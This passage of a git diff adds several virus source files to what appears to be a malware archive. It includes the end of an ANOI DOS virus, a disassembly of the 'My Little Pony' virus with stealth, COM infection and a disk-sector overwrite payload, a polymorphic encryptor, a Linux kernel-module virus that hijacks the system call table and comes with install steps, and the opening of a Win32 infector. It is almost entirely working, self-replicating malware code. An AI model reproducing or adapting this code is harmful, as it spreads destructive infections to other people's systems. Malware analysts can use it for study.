ax,1220h ;get handle table + int 02Fh + mov bl,es:[di] + mov ax,1216h + int 02Fh + + mov bp,di + + add di,28h + push es + pop ds + mov si,di + lodsw + cmp ax,'OC' + jne cancel_open + lodsb + cmp al,'M' + jne cancel_open + + mov si,bp + add si,20h + push cs + pop es + + call infect + + jmp cancel_open + +get_rnd: + push dx + push cx + push bx + in al,40h ;'@' + add ax,0000 + mov dx,0000 + mov cx,0007 +rnd_init5: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_init6 + inc al +rnd_init6: + loop rnd_init5 + pop bx + mov al,dl + pop cx + pop dx +rnd_init_ret: + ret + +logo db '>>> A.N.O.I <<<' ; DATA to overwrite with + + +temp_bytes db 3 dup(?) +filelen dw offset eof - offset start +memlen dw 100 +file_buffer db 80 dup(20h) +filename db 12 dup(?) + +jmp_1 db 0e9h +jmp_2 dw ? +first_bytes db 90h,0cdh,20h + +eof: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mlp1307b.asm b/MSDOS/Virus.MSDOS.Unknown.mlp1307b.asm new file mode 100644 index 00000000..08268c38 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mlp1307b.asm @@ -0,0 +1,777 @@ +;My Little Pony v1.00 disassembly - sort of. +;By Cruel Entity of ANOI. Related to CyberCide. + +;Well, the comments are a bit bitchy, probably coz I was in a really +;really bad mood when I wrote them. The virus author, Cruel Entity, +;knows how to make a nice virus, he just doesn't have enough assembly +;experience to make something really worth while, imho of course. + +;Bummer: Still some loc_xxx's left, hrmpf, I won't care if you don't. + +;Just dump this one in your misc. garbage area dude.. :-) + + .model tiny + + .code + + org 100h + +start: + call get_relative +get_relative: + pop bp + + mov ax,0DD22h + int 21h ;Installation check. + cmp ax,3D33h + jne not_installed + +;* lea dx, [bp+restore_carrier-get_relative] + db 08dh, 56h, 52h + + jmp dx + +not_installed: + mov ax,3521h + int 21h ;Get int21 vector + + mov [bp+int21offset-get_relative],bx + mov [bp+int21seg-get_relative],es ;Store it. + + mov ax,cs + dec ax + mov es,ax ;ES:0 points to MCB. + + mov ax,es:[3] + sub ax,[bp+parasize-get_relative] + mov es:[3],ax ;Shrink blocksize. + + mov ax,[bp+parasize-get_relative] + sub es:[12h],ax ;Free top mem. + + mov es,es:[12h] + push es + lea si,[bp-3] ;SI points to start of + ;virus. + mov di,100h + mov cx,[bp+virussize-get_relative] + rep movsb ;Copy virus up there. + + pop ds + + mov ax,2521h + mov dx, offset int21 + int 21h ;Set new int21 vector. + +restore_carrier: + push cs + push cs + pop ds + pop es + lea si,[bp+restore_bytes-get_relative] + mov cx,3 + mov di,100h + rep movsb ;Restore host. + sub di,3 + jmp di ;Restart host. + +db 'Simple Simon met a pieman going to the fair said Simple Simon to ' +db 'the pieman let me take your ware' + +activate: + cmp dh,0 ;Seconds 0? + jne no_activate + cmp dl,5 ;Hundredth's less than 5? + ja no_activate + + pushf + push bx + call get_random + + mov cx,0Ah + xor dx,dx + div cx + mov dx,ax + mov al,2 + mov cx,1 + mov bx,offset anoi +kill_sector: + int 26h ;Sector write. + + popf + inc al + + cmp al, 25 + jne kill_sector + + pop bx + popf + jmp short no_activate + + db '(c)1993 Cruel Entity' + +int21: + pushf + cmp ax, 0dd22h + jz inst_chk + cmp ah,11h + jz fcb_stealth + cmp ah,12h + jz fcb_stealth + cmp ah,4eh + jz go_handle_stealth + cmp ah,4fh + jz go_handle_stealth + cmp ah,3dh + jz go_file_open + cmp ah,3eh + jz go_file_close + cmp ah,2ch + jz get_time + + push ax + push cx + push dx + mov ah, 2ch ;Get DOS time. + int 21h + + cmp cl,0 + jz activate + +no_activate: + pop dx + pop cx + pop ax + +get_time: + cmp ah,36h + jne _pass_int + + push bp + mov bp,offset loc_20 + jmp bp +_pass_int: + popf ; Pop flags +pass_int: + db 0eah +int21offset dw 0 +int21seg dw 0 + +go_handle_stealth: + push bp + mov bp,offset handle_stealth + jmp bp + +go_file_open: + push bp + mov bp,offset file_open + jmp bp +go_file_close: + push bp + mov bp,offset file_close + jmp bp + +inst_chk: + popf + mov ax,3D33h + iret + +call_dos: + jmp dword ptr cs:[int21offset] + db 0C3h + +fcb_stealth: + popf + pushf + + push cs + call call_dos ;First let's see what + ;DOS has to say.. + + cmp al,0FFh ;0FFH indicates + ;no match found + je exit_fcb_stealth +match_found: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp ;Push the lot. + + mov ah,2Fh + int 21h ;Get DTA + + push es + pop ds ;DS:BX points to DTA. + + mov si,bx ;DS:SI points to DTA. + + add si,10h ;SI points to extension. + ; + + ;(lamer) + + lodsw + cmp ax,'OC' ;Extension starts with CO? + jne no_fcb_stealth + + lodsb + cmp al,'M' ;Last char M? + jne no_fcb_stealth + + mov si,bx + add si,26h ;I don't mean to sound + ;bitchy, but IMO, + ;ADD SI, 13h would've + ;been what normal persons + ;would've done. + + ;Offset 26h is a reserved + ;position within an + ;extended FCB. + + ; + + lodsw + cmp ax,0 ;OR AX,AX? Naaaah! + jne no_fcb_stealth + + mov si,bx + add si,1Eh ;offset 1eh is the high + ;byte of file time. + lodsw + and al,1Fh + cmp al,0Ah + je proceed_fcb_stealth + + mov dx,offset loc_17 + jmp dx +proceed_fcb_stealth: + mov si,bx + add si,24h ;If I remember correctly, + ;this is an undocumented + ;copy of the filesize within + ;the FCB structure. THIS + ;is the value that is + ;printed in a dir listing. + + mov di,si + lodsw + sub ax,cs:virussize ;Hm, I can't seem to figure + jz no_fcb_stealth ;out if this guy is just + stosw ;stupid or ignorant when it + ;comes to asm. +no_fcb_stealth: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + +exit_fcb_stealth: + retf 2 + +db '%%% MY LITTLE PONY %%% ' +db 'COPYRIGHT(C) 1993 A.N.O.I. %%%' + +loc_17: + mov si,bx + add si,8 + push cs + pop es + mov cx,0Ah + mov di,offset something + +locloop_18: + cmp byte ptr es:[di],' ' + je loc_19 + add di,8 + loop locloop_18 + + jmp short no_fcb_stealth +loc_19: + mov cx,8 + rep movsb + jmp short no_fcb_stealth + +loc_20: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp ;Push some regs. + + push cs + push cs + pop ds + pop es + + mov di,offset something + mov cx,0Ah + +locloop_21: + cmp byte ptr [di],' ' + je loc_22 + push di + push cx + mov si,di + call try_infect + pop cx + pop di + add di,8 + loop locloop_21 + +loc_22: + push cs + pop es + mov di,offset something + mov cx,5Ch + mov al,' ' + rep stosb + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp pass_int + +try_infect: ;JESUS! It's actually + ;a subroutine!! + + ;He knows what a sub + ;IS!! Wow! I'm shocked! + mov di,offset filename + mov cx,8 + +copyloop2: + lodsb + cmp al,' ' + je endcopy2 + stosb + loop copyloop2 +endcopy2: + + mov al,'.' + stosb + mov al,'C' + stosb + mov al,'O' + stosb + mov al,'M' + stosb + mov al,0 + stosb + + push cs + pop ds + + mov ax,4300h + mov dx,offset filename + int 21h ;Get attributes. + + jnc got_attributes + retn +got_attributes: + push cx + xor cx,cx + mov ax,4301h + int 21h ;Zoink attributes. + + mov ax,3D02h + mov dx,609h + pushf ;Open file in read/write mode. + + push cs + call call_dos + + mov bx,ax ;Handle to BX + + mov ax,5700h + int 21h ;Get file date/time. + + push dx + push cx + and cl,1Fh + cmp cl,0Ah + jne continue_infect + + mov dx,offset exit_infect + jmp dx +continue_infect: + mov ah,3Fh + mov cx,3 + mov dx,offset restore_bytes + int 21h ;Read first three bytes. + + mov ax,4202h + xor dx,dx + xor cx,cx + int 21h ;Seek to EOF + + sub ax,3 + + mov jmp_data,ax + mov ah,40h + mov dx,100h + mov cx,virussize + int 21h ;Append virus to file. + + mov ax,4200h + xor dx,dx + xor cx,cx + int 21h ;Seek to start. + + mov ah,40h + mov cx,3 + mov dx,offset jmp_op + int 21h ;Overwrite with JMP + +exit_infect: + pop cx + pop dx + and cl,0E0h + or cl,0Ah + mov ax,5701h + int 21h ;Givvit the special date/time + ;already-infected type + ;designation treatment.. + + + mov ah,3Eh + pushf + push cs + call call_dos ;CL00000000SE 'r up! + + mov ax,4301h + mov dx,offset filename + pop cx + int 21h ;Restore kuhl attribs.. + + ret + +handle_stealth: + pop bp + popf + pushf + push cs + call call_dos + jnc handle_match_found + retf 2 +handle_match_found: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp ;Push the lot. + mov ah,2Fh + int 21h ;Get DTA + + push es + pop ds ;DS:BX points to DTA. + mov si,bx ;DS:SI points to DTA. + + push cs + pop es + + add si,1Eh ;1eh is start of filename + ;within the DTA struct. + mov di,offset filename + mov cx,25 + +copyloop: + lodsb + cmp al,0 + je end_copy ;Copy filename to buffer. + stosb + loop copyloop + +end_copy: + mov al,0 + stosb ;Make it a valid ASCIIZ + ;string. + push ds + pop es + push cs + pop ds + + mov si,di + sub si,4 ;Assume extension is three + ;characters. + + lodsw + cmp ax,'OC' + je starts_with_co + cmp ax,'oc' + jne no_handle_stealth +starts_with_co: + lodsb + cmp al,'m' + je com_file + cmp al,'M' + jne no_handle_stealth +com_file: + push es + pop ds + mov si,bx + add si,1Ch ;High word of filesize. + lodsw + cmp ax,0 ;COM file -> not bigger + ;than 64 kb -> highword + ;=0. Just an additional + ;check. but OR AX,AX? + ;Cuz n0t! + jne no_handle_stealth + + mov si,bx + add si,16h ;File time. + lodsw + and al,1Fh + cmp al,0Ah + jne no_handle_stealth + + mov si,bx + add si,1Ah ;Low word of filesize. + + mov di,si + lodsw + sub ax,cs:virussize + jz no_handle_stealth + stosw +no_handle_stealth: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + retf 2 + +file_open: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es ;Save some regs. + + mov al,'.' + push ds + pop es + mov di,dx ;ES:DI points to filename. + + mov cx,32h + repne scasb ;Scan for '.' + mov si,di + lodsw + cmp ax,'OC' + je pffff_this_is_boring + cmp ax,'oc' + je pffff_this_is_boring + + mov dx,offset exit_disinfect + jmp dx + +pffff_this_is_boring: + lodsb + cmp al,'m' + je try_disinfect + cmp al,'M' + jne exit_disinfect +try_disinfect: + mov ax,3D02h + pushf + push cs + call call_dos ;Open file in read/write + ;mode. + jc exit_disinfect + + mov bx,ax ;Handle to BX. + + push cs + pop ds + push cs + pop es + mov ax,5700h + int 21h ;Get file date/time. + + and cl,1Fh + cmp cl,0Ah + jne exit_disinfect + mov ax,4202h + xor dx,dx + xor cx,cx ;CWD? naaaaaaaah! + int 21h ;Seek to EOF + + push ax + sub ax,3 ;Filesize-3 + mov dx,ax + mov ax,4200h + mov cx,0 + int 21h ;Seek to EOF-3. + + mov ah,3Fh + mov cx,3 + mov dx,offset buf + int 21h + + mov ax,4200h + xor cx,cx + xor dx,dx ;Boooooriiing. + int 21h ;Seek to BOF BOF BOF. + + mov ah,40h + mov cx,3 + mov dx,offset buf + int 21h + + pop dx + sub dx,virussize + mov ax,4200h + mov cx,0 + int 21h ;Seek to EOF-virussize. + + mov ah,40h + mov cx,0 + int 21h ;Truncate file. + + mov ah,3Eh + pushf + push cs + call call_dos ;close file. +exit_disinfect: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + pushf + push cs + call call_dos + retf 2 + +file_close: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es ;Hmpf. I suppose nobody + ;knows what subroutines + ;are these days.. + + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh ;Awright, grabbed SFT ptr. + + mov bp,di + add di,28h ;File extension. + + push es + pop ds + mov si,di + lodsw + cmp ax,'OC' ;AAARRRGGHh wibble wibble! + ;I can't take much more + ;of diiizzzzzzzzzzzz.. + jne exit_disinfect + lodsb + cmp al,'M' + jne exit_disinfect + + mov si,bp + add si,20h ;Filename. + push cs + pop es + call try_infect ;HUUUH? A SUBROUTINE? + jmp short exit_disinfect + +get_random: + push dx + push cx + push bx + in al,40h ;Timer data. + add ax,0 + mov dx,0 + mov cx,7 + +randomloop: + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + mov bl,al + xor bl,dh + jns no_sign + inc al +no_sign: + loop randomloop + + pop bx + mov al,dl + pop cx + pop dx + retn + +anoi db '>>> A.N.O.I <<<' + +buf db 3 dup (0) + +virussize dw (endvirus-start) + +parasize dw 'd' + +something db ' ' + db ' ' + db ' ' + +filename db 12 dup (0) + +jmp_op db 0E9h +jmp_data dw 0 +restore_bytes db 90h + db 0CDh, 20h +endvirus: + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.modify.asm b/MSDOS/Virus.MSDOS.Unknown.modify.asm new file mode 100644 index 00000000..c5f0dc65 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.modify.asm @@ -0,0 +1,220 @@ +code segment + assume cs:code + org 100h +prog: + mov cx,(offset last - offset main + 1) / 2 + mov dx,0 + mov si,offset main + cmp ax,0 + xor cx,0 + nop + xor si,0 + nop +l103: inc ax +l102: inc bp +l101: clc +l100: xor word ptr [si],dx + inc si + inc si + dec ax + dec bp + loop l100 + +main: + call make + call save + + mov al,00h + mov ah,4ch + int 21h + +cdc dw 0 + +make proc near + call copy + mov bx,offset dcdr + call ch1 + call ch2 + mov bp,bx + mov di,offset dcdd + call ch30 + call copy1 + call ch4 + ret +make endp + +save proc near + mov ah,3ch + mov dx,offset fn + sub cx,cx + int 21h + jc ioerr + mov bx,ax + mov dx,offset prog + mov cx,offset last - offset prog + mov ax,es + mov ds,ax + mov ah,40h + int 21h + jc ioerr + mov ah,3eh + int 21h +ioerr: ret +save endp + +copy1 proc near + mov si,offset dcdr + mov di,offset prog + mov cx,offset dcdd - offset dcdr + rep movsb + ret +copy1 endp + +ch4 proc near + mov ax,cdc + mov bx,offset main + mov cx,(offset last - offset main + 1) / 2 + push es + pop ds +lch4: xor word ptr [bx],ax + inc bx + inc bx + loop lch4 + push cs + pop ds + ret +ch4 endp + +ch30 proc near + sub cx,cx + mov cl,byte ptr [di] + inc di +l30: call ch31 + add di,3 + loop l30 + ret +ch30 endp + +ch31 proc near + push cx + mov cx,8 +l31: call rndm + call ch32 + loop l31 + pop cx + ret +ch31 endp + +ch32 proc near + sub ax,ax + mov al,byte ptr [di] + mov si,bp + add si,ax + mov al,byte ptr [di+1] + mov bx,ax + mov al,byte ptr [di+2] + call ch33 + ret +ch32 endp + +ch33 proc near + push cx +lbeg: rcr dx,1 + jc noch + mov cx,bx +lch: mov ah,byte ptr [si] + xchg ah,byte ptr [si+bx] + mov byte ptr [si],ah + inc si + loop lch + jmp short lend +noch: add si,bx +lend: dec al + jnz lbeg + pop cx + ret +ch33 endp + + +ch2 proc near + rcr dx,1 + jc nobx + inc byte ptr [bx+03] + add byte ptr [bx+24],8 +nobx: rcr dx,1 + jc nodi + inc byte ptr [bx+06] + inc byte ptr [bx+17] + inc byte ptr [bx+24] + inc byte ptr [bx+25] + inc byte ptr [bx+26] +nodi: ret +ch2 endp + +ch1 proc near + call irnd + mov word ptr [bx+04],dx + mov cdc,dx + call rndm + mov word ptr [bx+01],(offset last - offset main + 1) / 2 + xor word ptr [bx+01],dx + xor word ptr [bx+14],dx + call rndm + mov word ptr [bx+07],offset main + xor word ptr [bx+07],dx + xor word ptr [bx+18],dx + call rndm + mov word ptr [bx+10],dx + rcr dx,1 + jc no1 + inc byte ptr [bx+30] +no1: rcr dx,1 + jc no2 + inc byte ptr [bx+30] + inc byte ptr [bx+30] +no2: ret +ch1 endp + +copy proc near + mov ax,cs + add ax,1000h + mov es,ax + mov si,offset prog + mov di,si + mov cx,offset last - offset prog + rep movsb + ret +copy endp + +irnd proc near + mov ah,2ch + int 21h + add dx,cx + ret +irnd endp + +rndm proc near + mov ax,cs + mul dx + add dx,ax + ret +rndm endp + +dcdr db 0b9h,0aeh,0,0bah,10h,20h + db 0beh,1fh,1,3dh,0,0 + db 81h,0f1h,0,0 + db 81h,0f6h,0,0 + db 40h,45h,0f8h + db 31h,14h + db 46h,46h,48h,4dh + db 0e2h,0f5h + +dcdd db 4,0,3,3,12,4,1,20,1,2,25,1,3 + +fn db 'super.com',0 + +last label byte +code ends + end prog + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.module.c b/MSDOS/Virus.MSDOS.Unknown.module.c new file mode 100644 index 00000000..7a4d2580 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.module.c @@ -0,0 +1,529 @@ +/* SVAT - Special Virii And Trojans - present: + * + * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=- + * + * 0kay guys, here we go... + * As i told you with VLP I (we try to write an fast-infector) + * here's the result: + * a full, non-overwriting module infector that catches + * lkm's due to create_module() and infects them (max. 7) + * if someone calls delete_module() [even on autoclean]. + * Linux is not longer a virii-secure system :( + * and BSD follows next week ... + * Since it is not needed 2 get root (by the module) you should pay + * attention on liane. + * Note the asm code in function init_module(). + * U should assemble your /usr/src/.../module.c with -S and your CFLAG + * from your Makefile and look for the returnvalue from the first call + * of find_module() in sys_init_module(). look where its stored (%ebp for me) + * and change it in __asm__ init_module()! (but may it is not needed) + * + * For education only! + * Run it only with permisson of the owner of the system you are logged on!!! + * + * !!! YOU USE THIS AT YOUR OWN RISK !!! + * + * I'm not responsible for any damage you maybe get due to playing around with this. + * + * okay guys, you have to find out some steps without my help: + * + * 1. $ cc -c -O2 module.c + * 2. get length of module.o and patch the #define MODLEN in module.c + * 3. $ ??? + * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o + * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o + * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< + * 6. $ insmod ??? + * + * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and + * kernel 2.0.33. It works. + * + * greets (in no order...) + * <><><><><><><><><><><><> + * + * NetW0rker - tkx for da sources + * Serialkiller - gib mir mal deine eMail-addy + * hyperSlash - 1st SVAT member, he ? + * naleZ - hehehe + * MadMan - NetW0rker wanted me to greet u !? + * KilJaeden - TurboDebugger and SoftIce are a good choice ! + * + * and all de otherz + * + * Stealthf0rk/SVAT + */ + +#define __KERNEL__ +#define MODULE +#define MODLEN 6196 +#define ENOUGH 7 +#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); +#define END_KMEM set_fs(old_fs);} + + +/* i'm not sure we need all of 'em ...*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define __NR_our_syscall 211 +#define MAXPATH 30 +/*#define DEBUG*/ +#ifdef DEBUG + #define DPRINTK(format, args...) printk(KERN_INFO format,##args) +#else + #define DPRINTK(format, args...) +#endif + +/* where the sys_calls are */ + +extern void *sys_call_table[]; + +/* tested only with kernel 2.0.33, but thiz should run under 2.x.x + * if you change the default_path[] values + */ + +static char *default_path[] = { + ".", "/linux/modules", + "/lib/modules/2.0.33/fs", + "/lib/modules/2.0.33/net", + "/lib/modules/2.0.33/scsi", + "/lib/modules/2.0.33/block", + "/lib/modules/2.0.33/cdrom", + "/lib/modules/2.0.33/ipv4", + "/lib/modules/2.0.33/misc", + "/lib/modules/default/fs", + "/lib/modules/default/net", + "/lib/modules/default/scsi", + "/lib/modules/default/block", + "/lib/modules/default/cdrom", + "/lib/modules/default/ipv4", + "/lib/modules/default/misc", + "/lib/modules/fs", + "/lib/modules/net", + "/lib/modules/scsi", + "/lib/modules/block", + "/lib/modules/cdrom", + "/lib/modules/ipv4", + "/lib/modules/misc", + 0 +}; + +static struct symbol_table my_symtab = { + #include + X(printk), + X(vmalloc), + X(vfree), + X(kerneld_send), + X(current_set), + X(sys_call_table), + X(register_symtab_from), + #include +}; + +char files2infect[7][60 + 2]; + +/* const char kernel_version[] = UTS_RELEASE; */ + +int (*old_create_module)(char*, int); +int (*old_delete_module)(char *); +int (*open)(char *, int, int); +int (*close)(int); +int (*unlink)(char*); + +int our_syscall(int); +int infectfile(char *); +int is_infected(char *); +int cp(struct file*, struct file*); +int writeVir(char *, char *); +int init_module2(struct module*); +char *get_mod_name(char*); + +/* needed to be global */ + +void *VirCode = NULL; + +/* install new syscall to see if we are already in kmem */ +int our_syscall(int mn) +{ + /* magic number: 40hex :-) */ + if (mn == 0x40) + return 0; + else + return -ENOSYS; +} + +int new_create_module(char *name, int size) +{ + int i = 0, j = 0, retval = 0; + + if ((retval = old_create_module(name, size)) < 0) + return retval; + /* find next free place */ + for (i = 0; files2infect[i][0] && i < 7; i++); + if (i == 6) + return retval; + /* get name of mod from user-space */ + while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60) + j++; + DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i); + return retval; +} + +/* we infect modules after sys_delete_module, to be sure + * we don't confuse the kernel + */ + +int new_delete_module(char *modname) +{ + static int infected = 0; + int retval = 0, i = 0; + char *s = NULL, *name = NULL; + + + retval = old_delete_module(modname); + + if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) + return retval; + + for (i = 0; files2infect[i][0] && i < 7; i++) { + strcat(files2infect[i], ".o"); + if ((s = get_mod_name(files2infect[i])) == NULL) { + return retval; + } + name = strcpy(name, s); + if (!is_infected(name)) { + DPRINTK("try 2 infect %s as #%d\n", name, i); + infected++; + infectfile(name); + } + memset(files2infect[i], 0, 60 + 2); + } /* for */ + /* its enough */ + if (infected >= ENOUGH) + cleanup_module(); + vfree(name); + return retval; +} + + +/* lets take a look at sys_init_module(), that calls + * our init_module() compiled with + * CFLAG = ... -O2 -fomit-frame-pointer + * in C: + * ... + * if((mp = find_module(name)) == NULL) + * ... + * + * is in asm: + * ... + * call find_module + * movl %eax, %ebp + * ... + * note that there is no normal stack frame !!! + * thats the reason, why we find 'mp' (return from find_module) in %ebp + * BUT only when compiled with the fomit-frame-pointer option !!! + * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp) + * you should find mp at -4(%ebp) . + * thiz is very bad hijacking of local vars and an own topic. + * I hope you do not get an seg. fault. + */ + +__asm__ +(" + +.align 16 +.globl init_module + .type init_module,@function + +init_module: + pushl %ebp /* ebp is a pointer to mp from sys_init_module() */ + /* and the parameter for init_module2() */ + call init_module2 + popl %eax + xorl %eax, %eax /* all good */ + ret /* and return */ +.hype27: + .size init_module,.hype27-init_module +"); + + /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work: + * + * pushl %ebx + * movl %ebp, %ebx + * pushl -4(%ebx) + * call init_module2 + * addl $4, %esp + * xorl %eax, %eax + * popl %ebx + * ret + */ + +/*----------------------------------------------*/ + +int init_module2(struct module *mp) +{ + char *s = NULL, *mod = NULL, *modname = NULL; + long state = 0; + + mod = vmalloc(60 + 2); + modname = vmalloc(MAXPATH + 60 + 2); + if (!mod || !modname) + return -1; + strcpy(mod, mp->name); + strcat(mod, ".o"); + + + MOD_INC_USE_COUNT; + DPRINTK("in init_module2: mod = %s\n", mod); + + /* take also a look at phrack#52 ...*/ + mp->name = ""; + mp->ref = 0; + mp->size = 0; + + /* thiz is our new main ,look for copys in kmem ! */ + if (sys_call_table[__NR_our_syscall] == 0) { + old_delete_module = sys_call_table[__NR_delete_module]; + old_create_module = sys_call_table[__NR_create_module]; + sys_call_table[__NR_our_syscall] = (void*)our_syscall; + sys_call_table[__NR_delete_module] = (void*)new_delete_module; + sys_call_table[__NR_create_module] = (void*)new_create_module; + memset(files2infect, 0, (60 + 2)*7); + register_symtab(&my_symtab); + } + register_symtab(0); + open = sys_call_table[__NR_open]; + close = sys_call_table[__NR_close]; + unlink = sys_call_table[__NR_unlink]; + + if ((s = get_mod_name(mod)) == NULL) + return -1; + modname = strcpy(modname, s); + load_real_mod(modname, mod); + vfree(mod); + vfree(modname); + return 0; +} + +int cleanup_module() +{ + sys_call_table[__NR_delete_module] = old_delete_module; + sys_call_table[__NR_create_module] = old_create_module; + sys_call_table[__NR_our_syscall] = NULL; + DPRINTK("in cleanup_module\n"); + vfree(VirCode); + return 0; +} + +/* returns 1 if infected; + * seek at position MODLEN + 1 and read out 3 bytes, + * if it is "ELF" it seems the file is already infected + */ + +int is_infected(char *filename) +{ + char det[4] = {0}; + int fd = 0; + struct file *file; + + DPRINTK("in is_infected: filename = %s\n", filename); + BEGIN_KMEM + fd = open(filename, O_RDONLY, 0); + END_KMEM + if (fd <= 0) + return -1; + if ((file = current->files->fd[fd]) == NULL) + return -2; + file->f_pos = MODLEN + 1; + DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos); + BEGIN_KMEM + file->f_op->read(file->f_inode, file, det, 3); + close(fd); + END_KMEM + DPRINTK("in is_infected: det = %s\n", det); + if (strcmp(det, "ELF") == 0) + return 1; + else + return 0; +} + +/* copy the host-module to tmp, write VirCode to + * hostmodule, and append tmp. + * then delete tmp. + */ + + +int infectfile(char *filename) +{ + char *tmp = "/tmp/t000"; + int in = 0, out = 0; + struct file *file1, *file2; + + BEGIN_KMEM + in = open(filename, O_RDONLY, 0640); + out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); + END_KMEM + DPRINTK("in infectfile: in = %d out = %d\n", in, out); + if (in <= 0 || out <= 0) + return -1; + file1 = current->files->fd[in]; + file2 = current->files->fd[out]; + if (!file1 || !file2) + return -1; + /* save hostcode */ + cp(file1, file2); + BEGIN_KMEM + file1->f_pos = 0; + file2->f_pos = 0; + /* write Vircode [from mem] */ + DPRINTK("in infetcfile: filenanme = %s\n", filename); + file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); + /* append hostcode */ + cp(file2, file1); + close(in); + close(out); + unlink(tmp); + END_KMEM + return 0; +} + +int disinfect(char *filename) +{ + + char *tmp = "/tmp/t000"; + int in = 0, out = 0; + struct file *file1, *file2; + + BEGIN_KMEM + in = open(filename, O_RDONLY, 0640); + out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); + END_KMEM + DPRINTK("in disinfect: in = %d out = %d\n",in, out); + if (in <= 0 || out <= 0) + return -1; + file1 = current->files->fd[in]; + file2 = current->files->fd[out]; + if (!file1 || !file2) + return -1; + /* save hostcode */ + cp(file1, file2); + BEGIN_KMEM + close(in); + DPRINTK("in disinfect: filename = %s\n", filename); + unlink(filename); + in = open(filename, O_RDWR|O_CREAT, 0640); + END_KMEM + if (in <= 0) + return -1; + file1 = current->files->fd[in]; + if (!file1) + return -1; + file2->f_pos = MODLEN; + cp(file2, file1); + BEGIN_KMEM + close(in); + close(out); + unlink(tmp); + END_KMEM + return 0; +} + +/* a simple copy routine, that expects the file struct pointer + * of the files to be copied. + * So its possible to append files due to copieng. + */ + +int cp(struct file *file1, struct file *file2) +{ + + int in = 0, out = 0, r = 0; + char *buf; + + if ((buf = (char*)vmalloc(10000)) == NULL) + return -1; + + DPRINTK("in cp: f_pos = %d\n", file1->f_pos); + BEGIN_KMEM + while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0) + file2->f_op->write(file2->f_inode, file2, buf, r); + file2->f_inode->i_mode = file1->f_inode->i_mode; + file2->f_inode->i_atime = file1->f_inode->i_atime; + file2->f_inode->i_mtime = file1->f_inode->i_mtime; + file2->f_inode->i_ctime = file1->f_inode->i_ctime; + END_KMEM + vfree(buf); + return 0; +} + +/* Is that simple: we disinfect the module [hide 'n seek] + * and send a request to kerneld to load + * the orig mod. N0 fuckin' parsing for symbols and headers + * is needed - cool. + */ +int load_real_mod(char *path_name, char *name) +{ + int r = 0, i = 0; + struct file *file1, *file2; + int in = 0, out = 0; + + DPRINTK("in load_real_mod name = %s\n", path_name); + if (VirCode) + vfree(VirCode); + VirCode = vmalloc(MODLEN); + if (!VirCode) + return -1; + BEGIN_KMEM + in = open(path_name, O_RDONLY, 0640); + END_KMEM + if (in <= 0) + return -1; + file1 = current->files->fd[in]; + if (!file1) + return -1; + /* read Vircode [into mem] */ + BEGIN_KMEM + file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); + close(in); + END_KMEM + disinfect(path_name); + r = request_module(name); + DPRINTK("in load_real_mod: request_module = %d\n", r); + return 0; +} + +char *get_mod_name(char *mod) +{ + int fd = 0, i = 0; + static char* modname = NULL; + + if (!modname) + modname = vmalloc(MAXPATH + 60 + 2); + if (!modname) + return NULL; + BEGIN_KMEM + for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) { + memset(modname, 0, MAXPATH + 60 + 2); + modname = strcpy(modname, default_path[i]); + modname = strcat(modname, "/"); + modname = strcat(modname, mod); + if ((fd = open(modname, O_RDONLY, 0640)) > 0) + break; + } + close(fd); + END_KMEM + if (!default_path[i]) + return NULL; + return modname; +} diff --git a/MSDOS/Virus.MSDOS.Unknown.mole.asm b/MSDOS/Virus.MSDOS.Unknown.mole.asm new file mode 100644 index 00000000..b2ca2413 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mole.asm @@ -0,0 +1,793 @@ +;The Mole by Murkry\ikx +;A small win32 virus that uses memmap to expand the code section of a +;.exe then place its code there. Does not work on some Win98 files since +;MS in its infinite wisdom has made file aligment 1000h instead of 200h +;of course this makes this type of virus redunant since you do not need +;to expand the section odds are the file will have 400-800h bytes free anyway +;so the day of cavity infectors has come in the form of Win98 but sadly +;this virus does not infect Win98 type files. But it does infect WinNT +;A relative small change in code should rectify this. +;if the file infect mask is changed to *.dll it will work and if then +;return to *.exe it returns. This would be a intersting change for other +;students of vx to explore. + +;To assemble +;tasm32 /ml /m3 mole; +;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib, + +;Tested in NT and Win95 works very well +;size just under 400h to get the date resest and control attributes +;it would need to be bigger say 600h; + 